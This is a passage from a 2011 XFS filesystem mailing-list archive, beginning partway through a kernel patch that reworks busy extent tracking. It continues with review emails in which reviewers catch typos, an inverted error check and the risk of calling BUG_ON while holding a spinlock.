+----------------------+ + * fbno fend + */ + + busyp->length = fbno - busyp->bno; + } else { + BUG(); + } + + return 1; +} + + +/* + * For a given extent [fbno, flen], make sure we can reuse it safely. + */ +void +xfs_alloc_busy_reuse( + struct xfs_trans *tp, + xfs_agnumber_t agno, + xfs_agblock_t fbno, + xfs_extlen_t flen) +{ + struct xfs_perag *pag; + struct rb_node *rbp; + + ASSERT(flen > 0); + + pag = xfs_perag_get(tp->t_mountp, agno); +restart: + spin_lock(&pag->pagb_lock); + rbp = pag->pagb_tree.rb_node; + while (rbp) { + struct xfs_busy_extent *busyp = + rb_entry(rbp, struct xfs_busy_extent, rb_node); + xfs_agblock_t fend = fbno + flen; + xfs_agblock_t bbno = busyp->bno; + xfs_agblock_t bend = bbno + busyp->length; + int overlap; + + if (fend <= bbno) { + rbp = rbp->rb_left; + continue; + } else if (fbno >= bend) { + rbp = rbp->rb_right; + continue; + } + + overlap = xfs_alloc_busy_try_reuse(pag, busyp, + fbno, fbno + flen); + if (overlap) { + spin_unlock(&pag->pagb_lock); + xfs_log_force(tp->t_mountp, XFS_LOG_SYNC); + goto restart; + } + + /* + * No more busy extents to search. + */ + if (bbno <= fbno && bend >= fend) + break; + + if (fbno < bbno) + rbp = rbp->rb_left; + else + rbp = rbp->rb_right; + } + spin_unlock(&pag->pagb_lock); + xfs_perag_put(pag); +} + /* * For a given extent [fbno, flen], search the busy extent list * to find a subset of the extent that is not busy. @@ -2889,14 +2923,12 @@ xfs_alloc_busy_clear( trace_xfs_alloc_unbusy(mp, busyp->agno, busyp->bno, busyp->length); - ASSERT(xfs_alloc_busy_search(mp, busyp->agno, busyp->bno, - busyp->length) == 1); - list_del_init(&busyp->list); pag = xfs_perag_get(mp, busyp->agno); spin_lock(&pag->pagb_lock); - rb_erase(&busyp->rb_node, &pag->pagb_tree); + if (busyp->length) + rb_erase(&busyp->rb_node, &pag->pagb_tree); spin_unlock(&pag->pagb_lock); xfs_perag_put(pag); Index: xfs/fs/xfs/xfs_alloc.h =================================================================== --- xfs.orig/fs/xfs/xfs_alloc.h 2011-03-20 19:41:55.847481367 +0100 +++ xfs/fs/xfs/xfs_alloc.h 2011-03-21 14:48:04.202480897 +0100 @@ -145,6 +145,10 @@ xfs_alloc_busy_clear(struct xfs_mount *m int xfs_alloc_busy_search(struct xfs_mount *mp, xfs_agnumber_t agno, xfs_agblock_t bno, xfs_extlen_t len); + +void +xfs_alloc_busy_reuse(struct xfs_trans *tp, xfs_agnumber_t agno, + xfs_agblock_t fbno, xfs_extlen_t flen); #endif /* __KERNEL__ */ /* Index: xfs/fs/xfs/xfs_alloc_btree.c =================================================================== --- xfs.orig/fs/xfs/xfs_alloc_btree.c 2011-03-20 19:41:55.863479131 +0100 +++ xfs/fs/xfs/xfs_alloc_btree.c 2011-03-21 14:48:04.210474164 +0100 @@ -94,8 +94,8 @@ xfs_allocbt_alloc_block( *stat = 0; return 0; } - if (xfs_alloc_busy_search(cur->bc_mp, cur->bc_private.a.agno, bno, 1)) - xfs_trans_set_sync(cur->bc_tp); + + xfs_alloc_busy_reuse(cur->bc_tp, cur->bc_private.a.agno, bno, 1); xfs_trans_agbtree_delta(cur->bc_tp, 1); new->s = cpu_to_be32(bno); Index: xfs/fs/xfs/xfs_ag.h =================================================================== --- xfs.orig/fs/xfs/xfs_ag.h 2011-03-21 14:37:58.553976032 +0100 +++ xfs/fs/xfs/xfs_ag.h 2011-03-21 14:48:04.222474401 +0100 @@ -187,7 +187,6 @@ struct xfs_busy_extent { xfs_agnumber_t agno; xfs_agblock_t bno; xfs_extlen_t length; - xlog_tid_t tid; /* transaction that created this */ }; /* Index: xfs/fs/xfs/xfs_log.c =================================================================== --- xfs.orig/fs/xfs/xfs_log.c 2011-03-21 14:37:58.565974096 +0100 +++ xfs/fs/xfs/xfs_log.c 2011-03-21 14:38:03.000000000 +0100 @@ -3248,13 +3248,6 @@ xfs_log_ticket_get( return ticket; } -xlog_tid_t -xfs_log_get_trans_ident( - struct xfs_trans *tp) -{ - return tp->t_ticket->t_tid; -} - /* * Allocate and initialise a new log ticket. */ Index: xfs/fs/xfs/xfs_log.h =================================================================== --- xfs.orig/fs/xfs/xfs_log.h 2011-03-21 14:37:58.578474771 +0100 +++ xfs/fs/xfs/xfs_log.h 2011-03-21 14:38:03.000000000 +0100 @@ -189,8 +189,6 @@ void xlog_iodone(struct xfs_buf *); struct xlog_ticket *xfs_log_ticket_get(struct xlog_ticket *ticket); void xfs_log_ticket_put(struct xlog_ticket *ticket); -xlog_tid_t xfs_log_get_trans_ident(struct xfs_trans *tp); - void xfs_log_commit_cil(struct xfs_mount *mp, struct xfs_trans *tp, struct xfs_log_vec *log_vector, xfs_lsn_t *commit_lsn, int flags); Index: xfs/fs/xfs/xfs_log_priv.h =================================================================== --- xfs.orig/fs/xfs/xfs_log_priv.h 2011-03-21 14:37:58.590474432 +0100 +++ xfs/fs/xfs/xfs_log_priv.h 2011-03-21 14:38:03.000000000 +0100 @@ -144,6 +144,8 @@ static inline uint xlog_get_client_id(__ #define XLOG_RECOVERY_NEEDED 0x4 /* log was recovered */ #define XLOG_IO_ERROR 0x8 /* log hit an I/O error, and being shutdown */ +typedef __uint32_t xlog_tid_t; + #ifdef __KERNEL__ /* Index: xfs/fs/xfs/xfs_types.h =================================================================== --- xfs.orig/fs/xfs/xfs_types.h 2011-03-21 14:37:58.610475776 +0100 +++ xfs/fs/xfs/xfs_types.h 2011-03-21 14:38:03.000000000 +0100 @@ -73,8 +73,6 @@ typedef __int32_t xfs_tid_t; /* transact typedef __uint32_t xfs_dablk_t; /* dir/attr block number (in file) */ typedef __uint32_t xfs_dahash_t; /* dir/attr hash value */ -typedef __uint32_t xlog_tid_t; /* transaction ID type */ - /* * These types are 64 bits on disk but are either 32 or 64 bits in memory. * Disk based types: From aelder@sgi.com Tue Mar 22 17:28:09 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2MMS4AB052855 for ; Tue, 22 Mar 2011 17:28:09 -0500 Received: from cf--amer001e--3.americas.sgi.com (cf--amer001e--3.americas.sgi.com [137.38.100.5]) by relay3.corp.sgi.com (Postfix) with ESMTP id ED922AC00F for ; Tue, 22 Mar 2011 15:30:58 -0700 (PDT) Received: from [127.0.0.1] ([128.162.232.50]) by cf--amer001e--3.americas.sgi.com with Microsoft SMTPSVC(6.0.3790.3959); Tue, 22 Mar 2011 17:30:52 -0500 Subject: Re: [PATCH 1/6] xfs: optimize AGFL refills From: Alex Elder Reply-To: aelder@sgi.com To: Christoph Hellwig Cc: xfs@oss.sgi.com In-Reply-To: <20110322200137.280301318@bombadil.infradead.org> References: <20110322195550.260682574@bombadil.infradead.org> <20110322200137.280301318@bombadil.infradead.org> Content-Type: text/plain; charset="UTF-8" Date: Tue, 22 Mar 2011 17:30:51 -0500 Message-ID: <1300833051.2875.275.camel@doink> Mime-Version: 1.0 X-Mailer: Evolution 2.30.3 Content-Transfer-Encoding: 7bit X-OriginalArrivalTime: 22 Mar 2011 22:30:52.0190 (UTC) FILETIME=[CD1F73E0:01CBE8E0] X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Tue, 2011-03-22 at 15:55 -0400, Christoph Hellwig wrote: > Avoid forcing out busy extent when moving blocks from/to the AGFL. We Without thinking a bit about it, it wasn't clear why doing this was OK to do. It would be nice to record a one-sentence justification of why we don't need to force busy extents out in this case. > archive this my moving the busy search out of xfs_alloc_get_freelist into achieve this > the callers that need it, and by moving the busy list insert from > xfs_free_ag_extent extent which is used both by AGFL refills and real ^^^^^ drop this word > allocation to xfs_free_extent, which is only used by the latter. > > Signed-off-by: Christoph Hellwig Otherwise the change itself looks good. Reviewed-by: Alex Elder . . . From aelder@sgi.com Tue Mar 22 17:28:10 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2MMS4iB052856 for ; Tue, 22 Mar 2011 17:28:10 -0500 Received: from cf--amer001e--3.americas.sgi.com (cf--amer001e--3.americas.sgi.com [137.38.100.5]) by relay3.corp.sgi.com (Postfix) with ESMTP id 59491AC015; Tue, 22 Mar 2011 15:31:05 -0700 (PDT) Received: from [127.0.0.1] ([128.162.232.50]) by cf--amer001e--3.americas.sgi.com with Microsoft SMTPSVC(6.0.3790.3959); Tue, 22 Mar 2011 17:31:00 -0500 Subject: Re: [PATCH 2/6] xfs: do not immediately reuse busy extent ranges From: Alex Elder Reply-To: aelder@sgi.com To: Christoph Hellwig Cc: xfs@oss.sgi.com In-Reply-To: <20110322200137.474878707@bombadil.infradead.org> References: <20110322195550.260682574@bombadil.infradead.org> <20110322200137.474878707@bombadil.infradead.org> Content-Type: text/plain; charset="UTF-8" Date: Tue, 22 Mar 2011 17:30:59 -0500 Message-ID: <1300833059.2875.276.camel@doink> Mime-Version: 1.0 X-Mailer: Evolution 2.30.3 Content-Transfer-Encoding: 7bit X-OriginalArrivalTime: 22 Mar 2011 22:31:00.0159 (UTC) FILETIME=[D1DF6CF0:01CBE8E0] X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Tue, 2011-03-22 at 15:55 -0400, Christoph Hellwig wrote: > plain text document attachment (xfs-skip-busy-extents) > Every time we reallocate a busy extent, we cause a synchronous log force > to occur to ensure the freeing transaction is on disk before we continue > and use the newly allocated extent. This is extremely sub-optimal as we > have to mark every transaction with blocks that get reused as synchronous. > > Instead of searching the busy extent list after deciding on the extent to > allocate, check each candidate extent during the allocation decisions as > to whether they are in the busy list. If they are in the busy list, we > trim the busy range out of the extent we have found and determine if that > trimmed range is still OK for allocation. In many cases, this check can > be incorporated into the allocation extent alignment code which already > does trimming of the found extent before determining if it is a valid > candidate for allocation. > > Based on two earlier patches from Dave Chinner. Again, this looks nearly identical to your last version. On that one, I suggested rewording a comment, and you said "ok." You did not do so in this version, which I guess is fine. I just want to know whether you intended to. If so I'll give you a chance to post an update; if not I can take this one as-is. (I think I'll have the rest of the series reviewed tomorrow.) Reviewed-by: Alex Elder > Signed-off-by: Christoph Hellwig . . . From david@fromorbit.com Tue Mar 22 18:22:23 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2MNMIlW054921 for ; Tue, 22 Mar 2011 18:22:23 -0500 X-ASG-Debug-ID: 1300836317-374b03900000-w1Z2WR X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from ipmail05.adl6.internode.on.net (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 20C1B159D8AD for ; Tue, 22 Mar 2011 16:25:17 -0700 (PDT) Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id nakgdQThY6bnHUKx for ; Tue, 22 Mar 2011 16:25:17 -0700 (PDT) X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Au8DAG/MiE15LK5JgWdsb2JhbAClQRUBARYmJcVFDYVbBA Received: from ppp121-44-174-73.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.73]) by ipmail05.adl6.internode.on.net with ESMTP; 23 Mar 2011 09:55:16 +1030 Received: from dave by dastard with local (Exim 4.72) (envelope-from ) id 1Q2Awi-0005mT-LX; Wed, 23 Mar 2011 10:25:04 +1100 Date: Wed, 23 Mar 2011 10:25:04 +1100 From: Dave Chinner To: Sean Noonan Cc: "'linux-xfs@oss.sgi.com'" , Martin Bligh , Trammell Hudson X-ASG-Orig-Subj: Re: XFS memory allocation deadlock in 2.6.38 Subject: Re: XFS memory allocation deadlock in 2.6.38 Message-ID: <20110322232504.GC15270@dastard> References: <081DDE43F61F3D43929A181B477DCA95639B52E8@MSXAOA6.twosigma.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <081DDE43F61F3D43929A181B477DCA95639B52E8@MSXAOA6.twosigma.com> User-Agent: Mutt/1.5.20 (2009-06-14) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1300836318 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.58680 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Fri, Mar 18, 2011 at 11:46:04AM -0400, Sean Noonan wrote: > Using the attached program, we are able to reproduce this bug reliably. > $ make vmtest > $ ./vmtest /xfs/hugefile.dat $(( 16 * 1024 * 1024 * 1024 )) # vmtest > /xfs/hugefile.dat: mapped 17179869184 bytes in 33822066943 ticks > 749660: avg 13339 max 234667 ticks > 371945: avg 26885 max 281616 ticks > --- > At this point, we see the following on the console: > [593492.694806] XFS: possible memory allocation deadlock in kmem_alloc (mode:0x250) > [593506.724367] XFS: possible memory allocation deadlock in kmem_alloc (mode:0x250) > [593524.837717] XFS: possible memory allocation deadlock in kmem_alloc (mode:0x250) > [593556.742386] XFS: possible memory allocation deadlock in kmem_alloc (mode:0x250) What is the configuration of the machine you are testing on? I can't reproduce this on a current 2.6.39-tot tree on a 2p/2GB RAM VM that has it's blockdev images on a single SATA drive.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Tue Mar 22 18:28:12 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.7 required=5.0 tests=BAYES_00,J_CHICKENPOX_44, J_CHICKENPOX_45 autolearn=no version=3.4.0-r929098 Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2MNS7lx055165 for ; Tue, 22 Mar 2011 18:28:12 -0500 X-ASG-Debug-ID: 1300836655-5e8d01300000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from ipmail05.adl6.internode.on.net (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 8617D1401391 for ; Tue, 22 Mar 2011 16:30:56 -0700 (PDT) Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id kUlFC0DFXTiJ076d for ; Tue, 22 Mar 2011 16:30:56 -0700 (PDT) X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Au8DAG/MiE15LK5JgWdsb2JhbAClQRUBARYmJcVFDYJxgmoE Received: from ppp121-44-174-73.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.73]) by ipmail05.adl6.internode.on.net with ESMTP; 23 Mar 2011 10:00:55 +1030 Received: from dave by dastard with local (Exim 4.72) (envelope-from ) id 1Q2B2M-0005mw-7z; Wed, 23 Mar 2011 10:30:54 +1100 Date: Wed, 23 Mar 2011 10:30:54 +1100 From: Dave Chinner To: Christoph Hellwig Cc: xfs@oss.sgi.com X-ASG-Orig-Subj: Re: [PATCH 1/6] xfs: optimize AGFL refills Subject: Re: [PATCH 1/6] xfs: optimize AGFL refills Message-ID: <20110322233054.GD15270@dastard> References: <20110322195550.260682574@bombadil.infradead.org> <20110322200137.280301318@bombadil.infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20110322200137.280301318@bombadil.infradead.org> User-Agent: Mutt/1.5.20 (2009-06-14) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1300836667 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.58681 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Tue, Mar 22, 2011 at 03:55:51PM -0400, Christoph Hellwig wrote: > Avoid forcing out busy extent when moving blocks from/to the AGFL. We > archive this my moving the busy search out of xfs_alloc_get_freelist into > the callers that need it, and by moving the busy list insert from > xfs_free_ag_extent extent which is used both by AGFL refills and real > allocation to xfs_free_extent, which is only used by the latter. > > Signed-off-by: Christoph Hellwig > > Index: xfs/fs/xfs/xfs_alloc.c > =================================================================== > --- xfs.orig/fs/xfs/xfs_alloc.c 2011-03-19 16:49:23.774797370 +0100 > +++ xfs/fs/xfs/xfs_alloc.c 2011-03-19 16:49:38.882797272 +0100 > @@ -1326,6 +1326,8 @@ xfs_alloc_ag_vextent_small( > if (error) > goto error0; > if (fbno != NULLAGBLOCK) { > + if (xfs_alloc_busy_search(args->mp, args->agno, fbno, 1)) > + xfs_trans_set_sync(args->tp); > if (args->userdata) { > xfs_buf_t *bp; > > @@ -1617,18 +1619,6 @@ xfs_free_ag_extent( > > trace_xfs_free_extent(mp, agno, bno, len, isfl, haveleft, haveright); > > - /* > - * Since blocks move to the free list without the coordination > - * used in xfs_bmap_finish, we can't allow block to be available > - * for reallocation and non-transaction writing (user data) > - * until we know that the transaction that moved it to the free > - * list is permanently on disk. We track the blocks by declaring > - * these blocks as "busy"; the busy list is maintained on a per-ag > - * basis and each transaction records which entries should be removed > - * when the iclog commits to disk. If a busy block is allocated, > - * the iclog is pushed up to the LSN that freed the block. > - */ > - xfs_alloc_busy_insert(tp, agno, bno, len); > return 0; > > error0: > @@ -1923,21 +1913,6 @@ xfs_alloc_get_freelist( > xfs_alloc_log_agf(tp, agbp, logflags); > *bnop = bno; > > - /* > - * As blocks are freed, they are added to the per-ag busy list and > - * remain there until the freeing transaction is committed to disk. > - * Now that we have allocated blocks, this list must be searched to see > - * if a block is being reused. If one is, then the freeing transaction > - * must be pushed to disk before this transaction. > - * > - * We do this by setting the current transaction to a sync transaction > - * which guarantees that the freeing transaction is on disk before this > - * transaction. This is done instead of a synchronous log force here so > - * that we don't sit and wait with the AGF locked in the transaction > - * during the log force. > - */ > - if (xfs_alloc_busy_search(mp, be32_to_cpu(agf->agf_seqno), bno, 1)) > - xfs_trans_set_sync(tp); > return 0; > } > > @@ -2407,6 +2382,8 @@ xfs_free_extent( > be32_to_cpu(XFS_BUF_TO_AGF(args.agbp)->agf_length)); > #endif > error = xfs_free_ag_extent(tp, args.agbp, args.agno, args.agbno, len, 0); > + if (error) > + xfs_alloc_busy_insert(tp, args.agno, args.agbno, len); Shouldn't that be "if (!error)"? i.e. if we freed the extent successfully we need to insert it in the busy list. This current code has the effect of never inserting freed data extents in the busy list.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Tue Mar 22 18:44:48 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.8 required=5.0 tests=BAYES_00,J_CHICKENPOX_64 autolearn=no version=3.4.0-r929098 Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2MNigrB055897 for ; Tue, 22 Mar 2011 18:44:48 -0500 X-ASG-Debug-ID: 1300837650-183602080000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from ipmail05.adl6.internode.on.net (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id F285A36BC4A for ; Tue, 22 Mar 2011 16:47:31 -0700 (PDT) Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id Dvy7vFJFadE6Iz2e for ; Tue, 22 Mar 2011 16:47:31 -0700 (PDT) X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Au8DAPPPiE15LK5JgWdsb2JhbAClQRUBARYmJcUqDYVbBA Received: from ppp121-44-174-73.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.73]) by ipmail05.adl6.internode.on.net with ESMTP; 23 Mar 2011 10:17:30 +1030 Received: from dave by dastard with local (Exim 4.72) (envelope-from ) id 1Q2BIP-0005oU-0m; Wed, 23 Mar 2011 10:47:29 +1100 Date: Wed, 23 Mar 2011 10:47:28 +1100 From: Dave Chinner To: Christoph Hellwig Cc: xfs@oss.sgi.com X-ASG-Orig-Subj: Re: [PATCH 3/6] xfs: exact busy extent tracking Subject: Re: [PATCH 3/6] xfs: exact busy extent tracking Message-ID: <20110322234728.GE15270@dastard> References: <20110322195550.260682574@bombadil.infradead.org> <20110322200137.657110761@bombadil.infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20110322200137.657110761@bombadil.infradead.org> User-Agent: Mutt/1.5.20 (2009-06-14) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1300837662 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.58681 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Tue, Mar 22, 2011 at 03:55:53PM -0400, Christoph Hellwig wrote: > Update the extent tree in case we have to reuse a busy extent, so that it > always is kept uptodate. This is done by replacing the busy list searches > with a new xfs_alloc_busy_reuse helper, which updates the busy extent tree > in case of a reuse. Also replace setting transactions to sync with forcing > the log out in case we found a busy extent to reuse. This makes the code a > lot more simple, and is required for discard support later on. While it > will cause performance regressios with just this patch applied, the impact > is more than mitigated by the next patch in the series. > > Signed-off-by: Christoph Hellwig > > Index: xfs/fs/xfs/xfs_alloc.c > =================================================================== > --- xfs.orig/fs/xfs/xfs_alloc.c 2011-03-20 19:41:55.835479390 +0100 > +++ xfs/fs/xfs/xfs_alloc.c 2011-03-21 14:49:14.157973188 +0100 ..... > - new->tid = xfs_log_get_trans_ident(tp); > - > INIT_LIST_HEAD(&new->list); > > /* trace before insert to be able to see failed inserts */ > trace_xfs_alloc_busy(tp, agno, bno, len, 0); > > pag = xfs_perag_get(tp->t_mountp, new->agno); > -restart: > spin_lock(&pag->pagb_lock); > rbp = &pag->pagb_tree.rb_node; > - parent = NULL; > - busyp = NULL; > - match = 0; > - while (*rbp && match >= 0) { > + while (*rbp) { > parent = *rbp; > busyp = rb_entry(parent, struct xfs_busy_extent, rb_node); > > if (new->bno < busyp->bno) { > /* may overlap, but exact start block is lower */ > rbp = &(*rbp)->rb_left; > - if (new->bno + new->length > busyp->bno) > - match = busyp->tid == new->tid ? 1 : -1; > + BUG_ON(new->bno + new->length > busyp->bno); BUG_ON() inside a spinlock will effectively lock up the machine as other CPUs try to take the spinlock that was held by the thread that went bad. It causes the machine to die a horrible, undebuggable death rather than just kill the thread that caused the oops and leaving everything else still functional. If it were an ASSERT(), that's probably OK because it is only debug systems that woul dhave this problem, but the use of BUG(_ON) means it will cause production systems to die as well. > } else if (new->bno > busyp->bno) { > /* may overlap, but exact start block is higher */ > rbp = &(*rbp)->rb_right; > - if (bno < busyp->bno + busyp->length) > - match = busyp->tid == new->tid ? 1 : -1; > + BUG_ON(bno < busyp->bno + busyp->length); > } else { > - match = busyp->tid == new->tid ? 1 : -1; > - break; > + BUG(); > } > } > - if (match < 0) { > - /* overlap marked busy in different transaction */ > - spin_unlock(&pag->pagb_lock); > - xfs_log_force(tp->t_mountp, XFS_LOG_SYNC); > - goto restart; > - } > - if (match > 0) { > - /* > - * overlap marked busy in same transaction. Update if exact > - * start block match, otherwise combine the busy extents into > - * a single range. > - */ > - if (busyp->bno == new->bno) { > - busyp->length = max(busyp->length, new->length); > - spin_unlock(&pag->pagb_lock); > - ASSERT(tp->t_flags & XFS_TRANS_SYNC); > - xfs_perag_put(pag); > - kmem_free(new); > - return; > - } > - rb_erase(&busyp->rb_node, &pag->pagb_tree); > - new->length = max(busyp->bno + busyp->length, > - new->bno + new->length) - > - min(busyp->bno, new->bno); > - new->bno = min(busyp->bno, new->bno); > - } else > - busyp = NULL; > > rb_link_node(&new->rb_node, parent, rbp); > rb_insert_color(&new->rb_node, &pag->pagb_tree); > @@ -2650,7 +2518,6 @@ restart: > list_add(&new->list, &tp->t_busy); > spin_unlock(&pag->pagb_lock); > xfs_perag_put(pag); > - kmem_free(busyp); > } > > /* > @@ -2704,6 +2571,173 @@ xfs_alloc_busy_search( > return match; > } > > +STATIC int > +xfs_alloc_busy_try_reuse( > + struct xfs_perag *pag, > + struct xfs_busy_extent *busyp, > + xfs_agblock_t fbno, > + xfs_agblock_t fend) > +{ > + xfs_agblock_t bbno = busyp->bno; > + xfs_agblock_t bend = bbno + busyp->length; > + > + if (bbno < fbno && bend > fend) { > + /* > + * Case 1: > + * bbno bend > + * +BBBBBBBBBBBBBBBBB+ > + * +---------+ > + * fbno fend > + */ > + > + /* > + * We would have to split the busy extent to be able > + * to track it correct, which we cannot do because we > + * would have to modify the list of busy extents > + * attached to the transaction/CIL context, which > + * is mutable. immutable? > + * > + * Force out the log to clear the busy extents > + * and retry the search. > + */ BTW, these comments appear to wrap at 68 columns - any particular reason? > + return -1; > + } else if (bbno >= fbno && bend <= fend) { > + /* > + * Case 2: > + * bbno bend > + * +BBBBBBBBBBBBBBBBB+ > + * +-----------------+ > + * fbno fend > + * > + * Case 3: > + * bbno bend > + * +BBBBBBBBBBBBBBBBB+ > + * +--------------------------+ > + * fbno fend > + * > + * Case 4: > + * bbno bend > + * +BBBBBBBBBBBBBBBBB+ > + * +--------------------------+ > + * fbno fend > + * > + * Case 5: > + * bbno bend > + * +BBBBBBBBBBBBBBBBB+ > + * +-----------------------------------+ > + * fbno fend > + * > + */ > + > + /* > + * The busy extent is fully covered by the extent > + * we are allocating, and can simply be removed from > + * the rbtree. However we cannot remove it from the > + * immutable list tracking busy extents in the > + * transaction or CIL context, so set the length > + * to zero to mark it invalid. > + */ > + rb_erase(&busyp->rb_node, &pag->pagb_tree); > + busyp->length = 0; > + } else if (bbno == fbno) { > + /* > + * Case 6: > + * bbno bend > + * +BBBBBBBBBBBBBBBBB+ > + * +---------+ > + * fbno fend > + * > + * Case 7: > + * bbno bend > + * +BBBBBBBBBBBBBBBBB+ > + * +------------------+ > + * fbno fend > + * > + */ > + > + busyp->bno = fend; > + } else if (bend == fend) { > + /* > + * Case 8: > + * bbno bend > + * +BBBBBBBBBBBBBBBBB+ > + * +-------------+ > + * fbno fend > + * > + * Case 9: > + * bbno bend > + * +BBBBBBBBBBBBBBBBB+ > + * +----------------------+ > + * fbno fend > + */ > + > + busyp->length = fbno - busyp->bno; > + } else { > + BUG(); > + } > + > + return 1; > +} > + > + > +/* > + * For a given extent [fbno, flen], make sure we can reuse it safely. > + */ > +void > +xfs_alloc_busy_reuse( > + struct xfs_trans *tp, > + xfs_agnumber_t agno, > + xfs_agblock_t fbno, > + xfs_extlen_t flen) > +{ > + struct xfs_perag *pag; > + struct rb_node *rbp; > + > + ASSERT(flen > 0); > + > + pag = xfs_perag_get(tp->t_mountp, agno); > +restart: > + spin_lock(&pag->pagb_lock); > + rbp = pag->pagb_tree.rb_node; > + while (rbp) { > + struct xfs_busy_extent *busyp = > + rb_entry(rbp, struct xfs_busy_extent, rb_node); > + xfs_agblock_t fend = fbno + flen; > + xfs_agblock_t bbno = busyp->bno; > + xfs_agblock_t bend = bbno + busyp->length; > + int overlap; > + > + if (fend <= bbno) { > + rbp = rbp->rb_left; > + continue; > + } else if (fbno >= bend) { > + rbp = rbp->rb_right; > + continue; > + } > + > + overlap = xfs_alloc_busy_try_reuse(pag, busyp, > + fbno, fbno + flen); > + if (overlap) { > + spin_unlock(&pag->pagb_lock); > + xfs_log_force(tp->t_mountp, XFS_LOG_SYNC); > + goto restart; > + } xfs_alloc_busy_try_reuse() only ever returns -1 or 1, which means this will always trigger a log force on overlap.... > 